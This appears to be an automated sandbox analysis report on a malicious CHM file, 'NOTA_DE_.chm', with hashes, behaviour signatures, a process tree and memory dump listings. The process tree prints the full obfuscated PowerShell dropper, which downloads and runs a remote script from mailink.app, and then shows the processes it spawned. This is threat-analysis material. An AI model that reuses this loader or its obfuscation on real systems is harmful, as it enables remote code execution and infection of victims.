4e5adbeec13351073966ef1359fb442cfcf1ca6e1aa8485804f9281c65c3d276

Analysis

max time kernel
29s
max time network
35s
platform
windows7_x64
resource
win7-20230220-es
resource tags

arch:x64arch:x86image:win7-20230220-eslocale:es-esos:windows7-x64systemwindows
submitted
04-05-2023 18:41

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General

Target

NOTA_DE_.chm
Size

17KB
MD5

bb8f93b0d3d4705f5b392c86eb874026
SHA1

a966e0c6a9089cb0d2109bcf3f0af6259a9b40e0
SHA256

5a883d1a6f91650bdf834da1d2f95e7c02f1898dc4f9a4fed59c4b2c40b62f6d
SHA512

89547138d769841ea014d5623bc007bfb668b1b4d140d9c087311484f0457aebd83cc340c2d2275d7388e1cff405f572ea886be62318b810b874d858a2ebb042
SSDEEP

192:IGureT0FDCkUUKZB2FvC5bjlb/bbxR4imW4xBq34Pof:IGureT0FKUUB4alZbbbxRmNB3Pof

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://mailink.app/K72.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1448	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1448	powershell.exe
1448	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeIncreaseQuotaPrivilege	1448	powershell.exe
Token: SeSecurityPrivilege	1448	powershell.exe
Token: SeTakeOwnershipPrivilege	1448	powershell.exe
Token: SeLoadDriverPrivilege	1448	powershell.exe
Token: SeSystemProfilePrivilege	1448	powershell.exe
Token: SeSystemtimePrivilege	1448	powershell.exe
Token: SeProfSingleProcessPrivilege	1448	powershell.exe
Token: SeIncBasePriorityPrivilege	1448	powershell.exe
Token: SeCreatePagefilePrivilege	1448	powershell.exe
Token: SeBackupPrivilege	1448	powershell.exe
Token: SeRestorePrivilege	1448	powershell.exe
Token: SeShutdownPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeSystemEnvironmentPrivilege	1448	powershell.exe
Token: SeRemoteShutdownPrivilege	1448	powershell.exe
Token: SeUndockPrivilege	1448	powershell.exe
Token: SeManageVolumePrivilege	1448	powershell.exe
Token: 33	1448	powershell.exe
Token: 34	1448	powershell.exe
Token: 35	1448	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
596	hh.exe
596	hh.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 596 wrote to memory of 1448	596	hh.exe	29
PID 596 wrote to memory of 1448	596	hh.exe	29
PID 596 wrote to memory of 1448	596	hh.exe	29
PID 1448 wrote to memory of 2028	1448	powershell.exe	32
PID 1448 wrote to memory of 2028	1448	powershell.exe	32
PID 1448 wrote to memory of 2028	1448	powershell.exe	32
PID 1448 wrote to memory of 2028	1448	powershell.exe	32
PID 1448 wrote to memory of 1772	1448	powershell.exe	36
PID 1448 wrote to memory of 1772	1448	powershell.exe	36
PID 1448 wrote to memory of 1772	1448	powershell.exe	36
PID 1448 wrote to memory of 1772	1448	powershell.exe	36
PID 1448 wrote to memory of 1244	1448	powershell.exe	35
PID 1448 wrote to memory of 1244	1448	powershell.exe	35
PID 1448 wrote to memory of 1244	1448	powershell.exe	35
PID 1448 wrote to memory of 1244	1448	powershell.exe	35
PID 1448 wrote to memory of 1656	1448	powershell.exe	34
PID 1448 wrote to memory of 1656	1448	powershell.exe	34
PID 1448 wrote to memory of 1656	1448	powershell.exe	34
PID 1448 wrote to memory of 1656	1448	powershell.exe	34
PID 1448 wrote to memory of 1776	1448	powershell.exe	33
PID 1448 wrote to memory of 1776	1448	powershell.exe	33
PID 1448 wrote to memory of 1776	1448	powershell.exe	33
PID 1448 wrote to memory of 1776	1448	powershell.exe	33

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\NOTA_DE_.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://mailink.app/K72.txt')|P
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:2028
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1776
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1656
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1244
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\aef8bac5-5612-4e64-8c84-ab708c3a7b4d\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
\Users\Admin\AppData\Local\Temp\7a258487-5a0c-4717-93fd-490530d5cdfb\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
\Users\Admin\AppData\Local\Temp\aef8bac5-5612-4e64-8c84-ab708c3a7b4d\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/1448-116-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-86-0x0000000002950000-0x0000000002960000-memory.dmp

Filesize
64KB

Download
memory/1448-82-0x0000000002220000-0x00000000022A0000-memory.dmp

Filesize
512KB

Download
memory/1448-83-0x000000001B720000-0x000000001B766000-memory.dmp

Filesize
280KB

Download
memory/1448-84-0x0000000002570000-0x000000000257A000-memory.dmp

Filesize
40KB

Download
memory/1448-85-0x0000000002600000-0x0000000002608000-memory.dmp

Filesize
32KB

Download
memory/1448-118-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-87-0x000000001BB70000-0x000000001BBA6000-memory.dmp

Filesize
216KB

Download
memory/1448-88-0x0000000002220000-0x00000000022A0000-memory.dmp

Filesize
512KB

Download
memory/1448-89-0x000000001BBC0000-0x000000001BBEC000-memory.dmp

Filesize
176KB

Download
memory/1448-66-0x000000001B6D0000-0x000000001B71E000-memory.dmp

Filesize
312KB

Download
memory/1448-65-0x0000000002360000-0x000000000236E000-memory.dmp

Filesize
56KB

Download
memory/1448-96-0x000007FEEFFA0000-0x000007FEF0124000-memory.dmp

Filesize
1.5MB

Download
memory/1448-97-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-98-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-100-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-102-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-104-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-120-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-108-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-110-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-114-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-112-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-63-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1448-106-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-81-0x0000000002220000-0x00000000022A0000-memory.dmp

Filesize
512KB

Download
memory/1448-174-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-122-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-126-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-130-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-128-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-132-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-134-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-136-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-137-0x000000001BE10000-0x000000001BE28000-memory.dmp

Filesize
96KB

Download
memory/1448-138-0x000000001C7D0000-0x000000001C7EE000-memory.dmp

Filesize
120KB

Download
memory/1448-64-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/1448-151-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-152-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-154-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-156-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-160-0x0000000002220000-0x00000000022A0000-memory.dmp

Filesize
512KB

Download
memory/1448-162-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-159-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-157-0x0000000002220000-0x00000000022A0000-memory.dmp

Filesize
512KB

Download
memory/1448-166-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-164-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-170-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-168-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download
memory/1448-124-0x000000001BBC0000-0x000000001BBE6000-memory.dmp

Filesize
152KB

Download
memory/1448-172-0x000000001C7D0000-0x000000001C7E7000-memory.dmp

Filesize
92KB

Download